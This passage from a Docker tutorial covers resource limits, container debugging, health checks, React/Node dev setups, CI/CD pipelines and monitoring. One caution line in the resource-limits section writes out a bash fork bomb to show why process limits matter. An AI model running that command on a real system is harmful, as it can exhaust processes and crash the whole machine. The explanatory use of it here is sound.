  EBS_REGION=ap-south-1

docker volume create \
  --driver rexray/ebs \
  --opt size=20 \
  my-ebs-volume

Authorization Plugins — Enterprise Security

# OPA (Open Policy Agent) authorization plugin
# Define policies: what each container is allowed to do

# Install
docker plugin install openpolicyagent/opa-docker-authz-local:v0.2 \
  policy-file=/etc/docker/policies/authz.rego

# authz.rego policy example (Rego language)
# package docker.authz
# allow {
#   not deny
# }
# deny {
#   input.Body.HostConfig.Privileged == true  # Block privileged containers
# }

# Enable in daemon.json:
# {
#   "authorization-plugins": ["openpolicyagent/opa-docker-authz-local:v0.2"]
# }

Caution: Docker plugins run with daemon-level access. Only use trusted, well-maintained plugins. Review permissions carefully when installing — a malicious plugin can compromise the entire Docker daemon.

Tip: Many plugin use cases are now better handled by Kubernetes and CSI (Container Storage Interface) drivers. If you are using Kubernetes, explore CSI drivers instead of Docker plugins — the ecosystem is better and offers more options.

Resource Management — Limiting Container Resources

Without resource limits, a misbehaving container can consume all the memory and CPU on the host, crashing everything else. Apply limits to every container in production.

Caution: :(){ :|:& };: is a bash fork bomb. Without --pids-limit, this can crash an entire machine from a single container. In the real world, buggy code leaks memory or spawns infinite processes. Always set limits.

Memory Limits

# Hard memory limit — OOM killer triggers if exceeded
docker run --memory=512m myapp

# Memory + swap limit
docker run --memory=512m --memory-swap=1g myapp
# RAM: 512MB, Swap: 512MB (total 1GB, swap = total - ram)

# Disable swap for container
docker run --memory=512m --memory-swap=512m myapp

# Soft limit — suggestion, not enforced (for low-memory situations)
docker run --memory-reservation=256m myapp

# OOM kill disable (risky — lets container grow without being killed)
docker run --oom-kill-disable myapp  # Use with extreme caution!

CPU Limits

# Hard CPU limit — cannot exceed X cores
docker run --cpus=1.5 myapp       # Max 1.5 CPU cores
docker run --cpus=0.25 myapp      # Max 25% of one CPU core

# CPU shares — relative weight (soft limit, when contention exists)
docker run --cpu-shares=512 myapp  # Default is 1024; gets half the CPU when contested
docker run --cpu-shares=2048 myapp # Gets double the default CPU priority

# Pin to specific CPU cores (NUMA optimization, isolation)
docker run --cpuset-cpus=0,1 myapp  # Only use CPUs 0 and 1
docker run --cpuset-cpus=2-5 myapp  # Use CPUs 2, 3, 4, 5

I/O and Other Limits

# Disk I/O limits
docker run --device-read-bps /dev/sda:100mb myapp    # Max 100MB/s read
docker run --device-write-bps /dev/sda:50mb myapp    # Max 50MB/s write
docker run --device-read-iops /dev/sda:1000 myapp    # Max 1000 IOPS read

# PID limit (prevent fork bombs!)
docker run --pids-limit=100 myapp  # Max 100 processes/threads

# Open file descriptor limit
docker run --ulimit nofile=1024:1024 myapp
# Format: soft_limit:hard_limit

# Update limits on a RUNNING container (no restart needed!)
docker update --memory=1g --cpus=2 myapp

# Check resource usage (real-time)
docker stats                     # All containers
docker stats myapp               # Specific container
docker stats --no-stream myapp   # Snapshot, not live

Production Resource Sizing Guide

Service Type	CPU	Memory	Notes
Web API (Node.js)	0.5–1.0	256–512MB	Scale horizontally
Database (PostgreSQL)	2.0+	1–4GB	Depends on dataset size
Cache (Redis)	0.25	256–512MB	Set maxmemory in Redis config
Background Worker	1.0	512MB–1GB	Depends on task type
Message Queue	0.5	512MB	RabbitMQ/Kafka varies
Monitoring Agent	0.1	64–128MB	Should be minimal
Nginx Proxy	0.25	128MB	Very lightweight

# docker-compose.yml with resource limits
services:
  api:
    image: myapi:latest
    deploy:
      resources:
        limits:
          cpus: "0.5"
          memory: 512M
        reservations:
          cpus: "0.25"
          memory: 256M

  db:
    image: postgres:15-alpine
    deploy:
      resources:
        limits:
          cpus: "2.0"
          memory: 2G
        reservations:
          cpus: "1.0"
          memory: 1G

Tip: Strategy for setting limits: first run without limits and observe actual usage with docker stats. Then set limit = actual_peak × 1.5 (with buffer). Test on staging to verify the app works correctly within limits. Deploy to production and track OOM kills and CPU throttling via monitoring.

Debugging Containers — When Nothing Works

"It works on my machine" — everyone has heard this. Containers have their own issues. Here is a systematic debugging methodology for quickly resolving production problems.

Note: Debugging order: Status → Logs → Resources → Exec into container → Processes → Network → Events. Follow this order — 80% of issues are resolved via logs or exec. Advanced tools are only needed when the basics fail.

Systematic Debugging Playbook

# ===== STEP 1: Container Status =====
docker ps -a  # -a shows stopped containers too
# STATUS: Up 2 hours (good) | Exited (1) 5 min ago (bad) | Restarting (crash loop!)

# Detailed status
docker inspect myapp | jq '.[0].State'
# {
#   "Status": "exited",
#   "Running": false,
#   "ExitCode": 137,  ← 137 = OOM kill! 1 = app error, 0 = clean exit
#   "OOMKilled": true,
#   "Error": ""
# }

# ===== STEP 2: Logs =====
docker logs myapp              # All logs
docker logs myapp --tail 100   # Last 100 lines
docker logs myapp -f           # Follow (like tail -f)
docker logs myapp --since 30m  # Last 30 minutes
docker logs myapp 2>&1 | grep -i error  # Filter errors

# ===== STEP 3: Resource Usage =====
docker stats myapp --no-stream
# CONTAINER  CPU %  MEM USAGE / LIMIT   MEM %   NET I/O    BLOCK I/O
# myapp      95.2%  490MiB / 512MiB    95.7%   1.2GB/500MB  0B/0B
# ← 95% memory → OOM kill is imminent!

# ===== STEP 4: Shell into Running Container =====
docker exec -it myapp bash    # bash shell (Debian/Ubuntu)
docker exec -it myapp sh      # sh shell (Alpine)
docker exec -it myapp /bin/sh # explicit path

# Run a specific command without interactive shell
docker exec myapp env          # Check environment variables
docker exec myapp cat /app/config.json

# ===== STEP 5: Check Processes =====
docker top myapp               # Processes running in container
docker exec myapp ps aux       # More detailed process list

# ===== STEP 6: Network Debugging =====
docker inspect myapp | jq '.[0].NetworkSettings.Networks'
docker exec myapp netstat -tulpn    # Listening ports
docker exec myapp curl -v http://othercontainer:8080/health

# Test DNS resolution in container
docker exec myapp nslookup db        # Can container resolve service name?
docker exec myapp ping -c3 db        # Can container reach db?

# ===== STEP 7: Docker Events =====
docker events --filter 'container=myapp'
docker events --filter 'container=myapp' --since 1h
# Shows: die, kill, oom, start, stop, restart events

Debugging Containers That Won't Start

# Container crashes immediately — override the entrypoint
docker run -it --entrypoint /bin/sh myapp:latest
# Or bash:
docker run -it --entrypoint /bin/bash myapp:latest

# Then manually run the CMD to see the exact error:
$ node server.js
# Error: Cannot find module 'express'  ← npm install was never run!

# Debug with a minimal command
docker run -it myapp:latest echo "container works"
docker run -it myapp:latest ls /app    # Check if files are present
docker run -it myapp:latest env        # Check env vars

# Check image layers/history for clues
docker history myapp:latest
docker inspect myapp:latest | jq '.[0].Config'

Advanced Network Debugging — netshoot

# nicolaka/netshoot — network debugging toolkit
# Contains: curl, wget, dig, nslookup, netstat, tcpdump, etc.

# Share network namespace with target container
docker run -it \
  --net container:myapp \
  nicolaka/netshoot

# Now you have full network tools in myapp's network namespace
$ netstat -tulpn      # See what myapp is listening on
$ curl localhost:3000 # Test myapp's API
$ tcpdump -i eth0     # Capture traffic

# Share both network AND pid namespace
docker run -it \
  --net container:myapp \
  --pid container:myapp \
  nicolaka/netshoot

# Check for OOM kills in system logs
dmesg | grep oom
journalctl -k | grep oom | tail -20

Tip: Decoding exit codes — Exited (0): clean exit (intentional). Exited (1): application error. Exited (137): killed by OOM killer (memory limit exceeded). Exited (139): segfault. Exited (143): SIGTERM received (graceful stop). Exit codes reveal a lot before you even read the logs.

Caution: Alpine base images do not include bash, curl, or netstat by default. Install them temporarily for debugging: docker exec myapp apk add --no-cache curl bash net-tools. For distroless images, use ephemeral debug containers (a Kubernetes feature).

Docker Health Checks — Container Self-Assessment

A running container does not mean the application is healthy. The process may be alive but unable to connect to the database, or not listening on the expected port. Health checks tell Docker whether the app is actually working.

Note: Health check states — starting: within the start_period, checks are ignored. healthy: the most recent check passed. unhealthy: retries exhausted, all checks failed. Docker Swarm and Kubernetes automatically restart unhealthy containers.

Dockerfile Health Check Options

# HTTP endpoint check (for REST APIs)
HEALTHCHECK --interval=30s --timeout=5s --start-period=30s --retries=3 \
  CMD curl -f http://localhost:3000/health || exit 1
# --interval: How often to check (default: 30s)
# --timeout: How long to wait for one check (default: 30s)
# --start-period: Startup grace period — failed checks don't count (default: 0s)
# --retries: How many times to retry before marking unhealthy (default: 3)
# curl -f: Fails silently on HTTP errors (4xx, 5xx)

# TCP port check (for databases or non-HTTP services)
HEALTHCHECK --interval=30s --timeout=3s \
  CMD nc -z localhost 5432 || exit 1
# nc -z: Check if port is open (no data sent)

# Node.js application check (when curl is not available)
HEALTHCHECK --interval=30s --timeout=5s --start-period=30s --retries=3 \
  CMD node -e "require('http').get('http://localhost:3000/health', (r) => { process.exit(r.statusCode === 200 ? 0 : 1) })" || exit 1

# Custom script (for complex checks)
COPY healthcheck.sh /usr/local/bin/healthcheck
RUN chmod +x /usr/local/bin/healthcheck
HEALTHCHECK --interval=30s --timeout=10s --retries=3 \
  CMD /usr/local/bin/healthcheck

# Disable inherited healthcheck (from base image)
HEALTHCHECK NONE

Complex Health Check Script

#!/bin/sh
# healthcheck.sh — Multiple checks in one script
set -e

# Check 1: HTTP endpoint response
http_status=$(curl -sL -w "%{http_code}" http://localhost:3000/health -o /dev/null --max-time 3)
if [ "$http_status" != "200" ]; then
  echo "UNHEALTHY: HTTP check failed with status $http_status"
  exit 1
fi

# Check 2: Database connectivity
if ! nc -z db 5432 2>/dev/null; then
  echo "UNHEALTHY: Cannot reach database on port 5432"
  exit 1
fi

# Check 3: Disk space (prevent crash due to full disk)
disk_usage=$(df /app | awk 'NR==2 {print $5}' | sed 's/%//')
if [ "$disk_usage" -gt 90 ]; then
  echo "UNHEALTHY: Disk usage too high: ${disk_usage}%"
  exit 1
fi

echo "HEALTHY: All checks passed"
exit 0

Health Check in Docker Compose

version: "3.8"

services:
  db:
    image: postgres:15-alpine
    environment:
      POSTGRES_PASSWORD: secret
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres"]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s   # PostgreSQL takes time to start!

  api:
    image: myapi:latest
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 40s
    depends_on:
      db:
        condition: service_healthy  # Wait for db to be HEALTHY, not just running!

  worker:
    image: myworker:latest
    depends_on:
      api:
        condition: service_healthy  # Start worker only when api is healthy
      db:
        condition: service_healthy

# depends_on with service_healthy = proper startup ordering!
# Without this: api starts before db is ready → connection error!

Checking Health Status

# docker ps shows health status
docker ps
# CONTAINER ID  IMAGE    STATUS
# abc123        myapp    Up 5 minutes (healthy)
# def456        mydb     Up 2 minutes (starting)
# ghi789        worker   Up 10 minutes (unhealthy)  ← Problem!

# Get health status
docker inspect --format '{{.State.Health.Status}}' myapp
# healthy

# Detailed health info with history
docker inspect --format '{{json .State.Health}}' myapp | jq
# {
#   "Status": "healthy",
#   "FailingStreak": 0,
#   "Log": [
#     {
#       "Start": "2024-01-15T...",
#       "End": "2024-01-15T...",
#       "ExitCode": 0,
#       "Output": "HEALTHY: All checks passed"
#     }
#   ]
# }

# Wait for container to be healthy (useful in scripts)
until [ "$(docker inspect --format '{{.State.Health.Status}}' myapp)" == "healthy" ]; do
  echo "Waiting for myapp to be healthy..."
  sleep 5
done
echo "myapp is healthy!"

Tip: Design a dedicated /health endpoint that returns HTTP 200 when healthy and 503 when unhealthy. It should check database connectivity, required external services, and application state. Response time should be under 100ms — the health check itself should not be slow.

Caution: If start_period is too short and your app starts slowly, the container will immediately be marked "unhealthy" and enter a restart loop. Java apps may take 30–60 seconds. Node.js typically takes 5–10 seconds. Set the value based on your app's actual startup time.

Note: Docker's HEALTHCHECK instruction does not work in Kubernetes — it is a Docker Compose feature. Kubernetes has its own livenessProbe, readinessProbe, and startupProbe. The concept is the same, but the syntax differs. When migrating to Kubernetes, convert Dockerfile HEALTHCHECKs to Kubernetes probes.

Development Workflows with Docker

Docker for Local Development — The Real Game Changer

Docker development environments ensure every developer — whether on Windows, Mac, or Linux — runs the exact same stack. New developer onboarding becomes: git clone && docker compose up — done in under 5 minutes.

Tip: Docker dev environments eliminate "works on my machine" issues permanently. Every developer gets an identical stack, regardless of operating system.

# docker-compose.dev.yml - Development setup
services:
  api:
    build:
      context: .
      dockerfile: Dockerfile.dev  # Dev dockerfile with hot reload
    volumes:
      - .:/app                    # Mount source code!
      - /app/node_modules         # Keep container's node_modules
    environment:
      NODE_ENV: development
      DEBUG: "true"
    ports:
      - "9229:9229"               # Node.js debug port
    command: npm run dev          # Hot reload command

  # Development tools
  mailhog:
    image: mailhog/mailhog        # Email testing
    ports:
      - "8025:8025"               # Web UI
      - "1025:1025"               # SMTP
    profiles:
      - dev-tools

  redis-commander:
    image: rediscommander/redis-commander
    environment:
      REDIS_HOSTS: "local:redis:6379"
    ports:
      - "8081:8081"
    profiles:
      - dev-tools

Use profiles to start dev tools only when needed: docker compose --profile dev-tools up

Dockerfile.dev — Node.js with Hot Reload

# Dockerfile.dev - Development only
FROM node:18-alpine

# Install nodemon for hot reload
RUN npm install -g nodemon

WORKDIR /app

# Copy package files
COPY package*.json ./
RUN npm install  # All deps including devDependencies

# Don't COPY source - it's mounted via volume!

EXPOSE 3000 9229

# Hot reload with nodemon
CMD ["nodemon", "--inspect=0.0.0.0:9229", "src/server.js"]

Development vs Production — Key Differences

Aspect	Development	Production
Base Image	node:18 (full)	node:18-alpine
devDependencies	Installed	Excluded
Source Code	Via bind mount	COPYed into image
Hot Reload	nodemon	Not needed
Debug Ports	9229 exposed	No debug
Image Size	~1GB acceptable	< 200MB target
Multi-stage Build	Not needed	Yes

Benefits of Docker for Development

Same Environment: Every developer runs an identical stack. "Works on my machine" becomes irrelevant.
Instant Onboarding: New developer joins: git clone && docker compose up = fully running stack in 5 minutes.
No Version Conflicts: Switch between Node 16, 18, 20 projects without juggling version managers. Each project is isolated.
Exact Production Parity: Test with the exact same database version (Postgres 16, MongoDB 7) as production.

Docker for React/Node Development

Note: This section covers CRA, Vite, Next.js, and full MERN stack setups with Docker, including real-world pitfalls that trip up beginners.

1. Dockerize Create React App (CRA) with Hot Reload

# Dockerfile.dev for React CRA
FROM node:18-alpine
WORKDIR /app
COPY package*.json ./
RUN npm install
# Don't copy source - mounted via volume
EXPOSE 3000
CMD ["npm", "start"]

# docker-compose.yml for React dev
services:
  react-app:
    build:
      context: .
      dockerfile: Dockerfile.dev
    volumes:
      - .:/app
      - /app/node_modules          # Prevent overwriting container's node_modules!
    ports:
      - "3000:3000"
    environment:
      - CHOKIDAR_USEPOLLING=true   # Required for file watching in Docker!
      - REACT_APP_API_URL=http://localhost:5000
    stdin_open: true               # Required for CRA
    tty: true

2. Dockerize Vite React App

Caution: Vite by default only listens on localhost inside the container. The --host 0.0.0.0 flag is required to access it from outside the container.

# Dockerfile.dev for Vite
FROM node:18-alpine
WORKDIR /app
COPY package*.json ./
RUN npm install
EXPOSE 5173
CMD ["npm", "run", "dev", "--", "--host", "0.0.0.0"]
# --host 0.0.0.0 is CRITICAL! Otherwise Vite only listens on localhost inside container

services:
  vite-app:
    build:
      context: .
      dockerfile: Dockerfile.dev
    volumes:
      - .:/app
      - /app/node_modules
    ports:
      - "5173:5173"
    environment:
      - VITE_API_URL=http://localhost:3001

3. Production React App with Nginx

# Dockerfile.prod - Complete production build
FROM node:18-alpine AS builder

WORKDIR /app

ARG REACT_APP_API_URL
ARG REACT_APP_ENV=production

ENV REACT_APP_API_URL=$REACT_APP_API_URL
ENV REACT_APP_ENV=$REACT_APP_ENV

COPY package*.json ./
RUN npm ci

COPY . .
RUN npm run build

# Production: Nginx serving
FROM nginx:1.25-alpine

# Custom nginx config for React SPA
COPY nginx.conf /etc/nginx/conf.d/default.conf

# Copy built React app
COPY --from=builder /app/build /usr/share/nginx/html

# Health endpoint
RUN echo "healthy" > /usr/share/nginx/html/health

EXPOSE 80

HEALTHCHECK --interval=30s --timeout=3s \
  CMD wget -qO- http://localhost/health || exit 1

CMD ["nginx", "-g", "daemon off;"]

server {
    listen 80;
    root /usr/share/nginx/html;
    index index.html;

    # React Router support — REQUIRED for SPAs!
    location / {
        try_files $uri $uri/ /index.html;
    }

    # API proxy (optional)
    location /api/ {
        proxy_pass http://api:5000/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # Cache static assets aggressively
    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff2)$ {
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    # Gzip compression
    gzip on;
    gzip_vary on;
    gzip_types text/plain text/css application/json application/javascript;
}

4. Next.js Production — Official Recommended Dockerfile

FROM node:18-alpine AS base
RUN apk add --no-cache libc6-compat
WORKDIR /app

FROM base AS deps
COPY package*.json ./
RUN npm ci

FROM base AS builder
COPY --from=deps /app/node_modules ./node_modules
COPY . .
ENV NEXT_TELEMETRY_DISABLED=1
ENV NODE_ENV=production
RUN npm run build

FROM base AS runner
ENV NODE_ENV=production
ENV NEXT_TELEMETRY_DISABLED=1
RUN addgroup --system --gid 1001 nodejs && adduser --system --uid 1001 nextjs
COPY --from=builder /app/public ./public
COPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./
COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/static
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]

5. Full MERN Stack Development Setup

# docker-compose.yml - Full MERN Dev Stack
services:
  # React Frontend
  frontend:
    build:
      context: ./frontend
      dockerfile: Dockerfile.dev
    volumes:
      - ./frontend:/app
      - /app/node_modules
    ports:
      - "3000:3000"
    environment:
      - REACT_APP_API_URL=http://localhost:5000
      - CHOKIDAR_USEPOLLING=true
    depends_on:
      - api

  # Node.js API
  api:
    build:
      context: ./api
      dockerfile: Dockerfile.dev
    volumes:
      - ./api:/app
      - /app/node_modules
    ports:
      - "5000:5000"
      - "9229:9229"   # Debug port
    environment:
      NODE_ENV: development
      MONGODB_URI: mongodb://mongodb:27017/myapp
      JWT_SECRET: dev-secret-key
    depends_on:
      - mongodb

  # MongoDB
  mongodb:
    image: mongo:7
    ports:
      - "27017:27017"
    volumes:
      - mongo_data:/data/db
    environment:
      MONGO_INITDB_DATABASE: myapp

  # Redis cache
  redis:
    image: redis:7-alpine
    ports:
      - "6379:6379"

  # Mongo Express - GUI for MongoDB (localhost:8081)
  mongo-express:
    image: mongo-express
    ports:
      - "8081:8081"
    environment:
      ME_CONFIG_MONGODB_SERVER: mongodb
      ME_CONFIG_BASICAUTH_USERNAME: admin
      ME_CONFIG_BASICAUTH_PASSWORD: admin
    depends_on:
      - mongodb

volumes:
  mongo_data:

Common React + Docker Problems and Fixes

Problem	Cause	Fix
Hot reload not working	File watching broken in Docker	Set `CHOKIDAR_USEPOLLING=true`
Can't access Vite app	Vite binding to localhost only	Add `--host 0.0.0.0` to dev command
node_modules overwritten	Host volume masks container deps	Add `/app/node_modules` as anonymous volume
Build fails: env vars missing	REACT_APP_ prefix not passed at build time	Use `ARG` + `ENV` in Dockerfile
Very slow Docker builds	Large build context with node_modules	Add `node_modules` to `.dockerignore`

Debugging Dockerized Apps

Node.js Remote Debugging

You can debug a Node.js app running inside a container using Chrome DevTools or VS Code.

# Start Node.js container in debug mode
docker run -d \
  --name api-debug \
  -p 9229:9229 \
  -v $(pwd):/app \
  node:18 \
  node --inspect=0.0.0.0:9229 src/server.js

# Then open Chrome: chrome://inspect
# Your server will appear under "Remote Target"

// VS Code launch.json
{
  "configurations": [
    {
      "type": "node",
      "request": "attach",
      "name": "Docker: Attach to Node",
      "port": 9229,
      "address": "localhost",
      "localRoot": "${workspaceFolder}",
      "remoteRoot": "/app",
      "restart": true
    }
  ]
}

Python Debugging with debugpy

# Python debugging with debugpy
docker run -d \
  -p 5678:5678 \
  -v $(pwd):/app \
  python:3.11 \
  python -m debugpy --listen 0.0.0.0:5678 --wait-for-client app.py

# In VS Code, use the Python: Remote Attach configuration
# Port: 5678, Host: localhost

Network Debugging with netshoot

Tip: nicolaka/netshoot contains curl, tcpdump, netstat, nslookup, traceroute, dig — everything you need. Attach to any container's network namespace and debug immediately.

# Network debugging with netshoot
docker run -it --rm \
  --network container:myapp \
  nicolaka/netshoot

# Now inside myapp's network namespace with full tooling:
# curl, tcpdump, netstat, nslookup, traceroute, dig, etc.

# Check DNS resolution inside container network
docker run --rm --network mynetwork nicolaka/netshoot nslookup api

# Check if port is reachable between services
docker run --rm --network mynetwork nicolaka/netshoot nc -zv api 5000

# Capture TCP traffic
docker run --rm --network container:myapp nicolaka/netshoot tcpdump -i eth0 port 5000

General Container Debugging Commands

# Open a shell inside the container
docker exec -it myapp sh

# View logs with timestamps
docker logs -f --timestamps myapp

# Process list inside container
docker exec myapp ps aux

# Check environment variables
docker exec myapp env | grep -i api

# Full container config
docker inspect myapp | jq '.[0].NetworkSettings'

# Browse the filesystem
docker exec -it myapp find /app -name "*.log"

# Copy files out of container for inspection
docker cp myapp:/app/logs/error.log ./error.log

Production Readiness Checklist

Caution: Before going to production, verify all items below. Common mistakes in production Dockerfiles and compose files create security vulnerabilities, crashes, or performance issues. Bookmark this checklist.

Production Dockerfile Checklist

Check	Why It Matters	Status
Specific base image version (not `latest`)	Reproducible builds, no surprise updates	☐
Multi-stage build used	Smaller final image, no build tools in prod	☐
Non-root user configured	Security — limits blast radius of a breach	☐
.dockerignore present	Smaller build context, no secrets leaked	☐
HEALTHCHECK configured	Orchestrators can detect unhealthy containers	☐
WORKDIR explicitly set	Predictable file paths	☐
package*.json COPY before source COPY	Better layer caching	☐
No secrets in image/Dockerfile	Security — images can be inspected	☐
Image size < 500MB (ideally < 200MB)	Faster pulls, lower storage cost	☐
LABEL with version/maintainer info	Traceability in production	☐
Graceful shutdown handled (SIGTERM)	Zero-downtime deployments	☐

Graceful Shutdown in Node.js

When Docker stops a container, it sends SIGTERM first, then SIGKILL after 10 seconds. If you do not handle SIGTERM, in-flight requests are dropped.

// server.js - Handle SIGTERM for graceful shutdown
process.on('SIGTERM', () => {
  console.log('SIGTERM received, shutting down gracefully');
  server.close(() => {
    console.log('HTTP server closed');
    // Close DB connections
    mongoose.connection.close(false, () => {
      console.log('MongoDB disconnected');
      process.exit(0);
    });
  });

  // Force exit after 30 seconds
  setTimeout(() => {
    console.error('Could not close connections in time, forcing exit');
    process.exit(1);
  }, 30000);
});

Image Versioning Strategy

# Tagging strategy for production
IMAGE="myapp"
REGISTRY="123456789.dkr.ecr.ap-south-1.amazonaws.com"
GIT_TAG=$(git describe --tags --always)
GIT_SHA=$(git rev-parse --short HEAD)
DATE=$(date +%Y%m%d)

# Always push with multiple tags
docker build -t $IMAGE .
docker tag $IMAGE $REGISTRY/$IMAGE:$GIT_TAG       # v1.2.3
docker tag $IMAGE $REGISTRY/$IMAGE:$GIT_SHA       # abc1234
docker tag $IMAGE $REGISTRY/$IMAGE:$DATE          # 20240115
docker tag $IMAGE $REGISTRY/$IMAGE:latest         # latest (don't use in deploys!)

# Deploy using a specific version, not latest!
docker pull $REGISTRY/$IMAGE:v1.2.3

Caution: Never deploy using the :latest tag in production. If someone pushes and the service restarts, an unexpected version may be deployed. Always use a git SHA or semantic version tag for deployments.

Docker with CI/CD Pipelines

Complete GitHub Actions Workflow — Build, Test, Push

Before writing your pipeline, validate your workflow syntax with the GitHub Actions Validator to catch errors early.

# .github/workflows/docker-build-push.yml
name: Build and Push Docker Image

on:
  push:
    branches: [main]
    tags: ['v*']
  pull_request:
    branches: [main]

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run tests
        run: |
          docker build --target test -t myapp:test .
          docker run --rm myapp:test npm test

  build-push:
    needs: test
    runs-on: ubuntu-latest
    if: github.event_name != 'pull_request'
    permissions:
      contents: read
      packages: write

    steps:
      - uses: actions/checkout@v4

      - name: Setup Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Login to GHCR
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract metadata (tags, labels)
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
          tags: |
            type=semver,pattern={{version}}
            type=semver,pattern={{major}}.{{minor}}
            type=sha,prefix=sha-
            type=raw,value=latest,enable={{is_default_branch}}

      - name: Build and push
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha          # Use GitHub Actions cache!
          cache-to: type=gha,mode=max
          platforms: linux/amd64,linux/arm64   # Multi-arch build

Deploy to AWS ECS via CI/CD

  deploy:
    needs: build-push
    runs-on: ubuntu-latest
    steps:
      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: ap-south-1

      - name: Download task definition
        run: |
          aws ecs describe-task-definition \
            --task-definition myapp \
            --query taskDefinition > task-definition.json

      - name: Update ECS task definition
        id: task-def
        uses: aws-actions/amazon-ecs-render-task-definition@v1
        with:
          task-definition: task-definition.json
          container-name: myapp
          image: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest

      - name: Deploy to ECS
        uses: aws-actions/amazon-ecs-deploy-task-definition@v1
        with:
          task-definition: ${{ steps.task-def.outputs.task-definition }}
          service: myapp-service
          cluster: production
          wait-for-service-stability: true   # Wait for deploy to complete

If you are using GitLab CI instead, validate your .gitlab-ci.yml syntax with the GitLab CI Validator before pushing.

CI/CD Pipeline Flow

Code Push: Developer runs git push → GitHub Actions triggers automatically.
Test: Docker image builds with test target → tests run inside the container.
Build and Push: Multi-arch production image builds and pushes to registry with proper tags.
Deploy: ECS task definition updates → service performs a rolling deploy with zero downtime.

Note: "Our CI/CD pipeline runs on GitHub Actions. Every push to main automatically builds the Docker image, runs tests inside the container, then pushes to ECR and does an ECS rolling deploy — all automated. Manual production deployments never happen."

Monitoring Docker Containers

Docker Built-in Monitoring Commands

# Real-time stats — CPU, Memory, Network, IO
docker stats                    # All containers
docker stats myapp --no-stream  # One-time snapshot (no live update)

# Human-readable format
docker stats --format "table {{.Container}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.NetIO}}"

# Events stream — what is happening in the system
docker events --since 1h

# Filter events by type
docker events --filter type=container --filter event=die

# Logs with time range
docker logs --since 1h --until 30m myapp
docker logs --since "2024-01-15T10:00:00" myapp

# Formatted logs
docker logs --timestamps myapp 2>&1 | grep ERROR

Full Monitoring Stack: cAdvisor + Prometheus + Grafana

# monitoring/docker-compose.monitoring.yml
services:
  prometheus:
    image: prom/prometheus:latest
    ports:
      - "9090:9090"
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml
      - prometheus_data:/prometheus
    command:
      - --config.file=/etc/prometheus/prometheus.yml
      - --storage.tsdb.retention.time=30d

  grafana:
    image: grafana/grafana:latest
    ports:
      - "3001:3000"             # Port 3000 reserved for app
    environment:
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin123}
    volumes:
      - grafana_data:/var/lib/grafana

  cadvisor:
    image: gcr.io/cadvisor/cadvisor:latest
    volumes:
      - /:/rootfs:ro
      - /var/run:/var/run:ro
      - /sys:/sys:ro
      - /var/lib/docker/:/var/lib/docker:ro
    ports:
      - "8080:8080"

volumes:
  prometheus_data:
  grafana_data:

# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: 'docker'
    static_configs:
      - targets: ['cadvisor:8080']    # Container metrics

  - job_name: 'myapp'
    static_configs:
      - targets: ['myapp:3000']
    metrics_path: '/metrics'          # App must expose a /metrics endpoint

What to Monitor

CPU Usage: Detect container CPU throttling. Consistently above 80% means scale out or raise resource limits.
Memory: Detect memory leaks. Check for OOM kills with docker events --filter event=oom.
Network I/O: Detect unusual traffic patterns. Track high egress costs in AWS.
Container Restarts: Frequent restarts indicate a crash loop. Check the RESTARTS column in docker ps.

Docker Orchestration Introduction

Docker Swarm vs Kubernetes

Feature	Docker Swarm	Kubernetes
Complexity	Simple	Complex
Setup Time	Minutes	Hours/Days
Auto-scaling	Basic	Advanced (HPA, VPA)
Ecosystem	Docker only	Massive (CNCF)
Rolling Updates	Yes	Yes
Self-healing	Yes	Yes
Multi-host	Yes	Yes
Industry Adoption (2026)	Declining/Legacy	Dominant Standard
Cloud Native Support	Limited	First-class
Learning Curve	Low	High

Note: Swarm is now mostly legacy. In 2026, Kubernetes is the industry standard. That said, mastering Docker Compose and core Docker concepts makes learning Kubernetes significantly easier — the concepts are the same, just with greater complexity.

When Do You Need Orchestration?

Scale: 10+ Containers: Docker Compose runs on a single machine. Deploying across multiple machines requires orchestration.
High Availability: If a node dies and the app automatically shifts to another node — that is orchestration.
Auto-scaling: Automatically scale containers up when traffic increases and scale down when it drops.
Zero-downtime Deploys: Rolling deployments where the old version keeps running until the new version is healthy.

Transition Path

Tip: Learning path: Docker basics → Docker Compose (multi-container) → Kubernetes (multi-host, production-grade). Each step builds on the previous one. Master Docker concepts and Kubernetes will feel natural. When you are ready to take the next step, the Kubernetes for DevOps guide picks up exactly where containers leave off.

# Docker Swarm quick demo (educational only)
docker swarm init                       # Initialize swarm on current node
docker service create --name web nginx  # Create a service
docker service scale web=5              # Scale to 5 replicas (auto-distributed!)
docker service ls                       # List services
docker service ps web                   # See where each replica runs
docker swarm leave --force              # Leave swarm

# Equivalent nginx deployment in Kubernetes
kubectl create deployment web --image=nginx
kubectl scale deployment web --replicas=5
kubectl get deployments
kubectl get pods                        # See 5 pods running

AWS Container Services

AWS Container Services Overview

Service	What It Is	When to Use
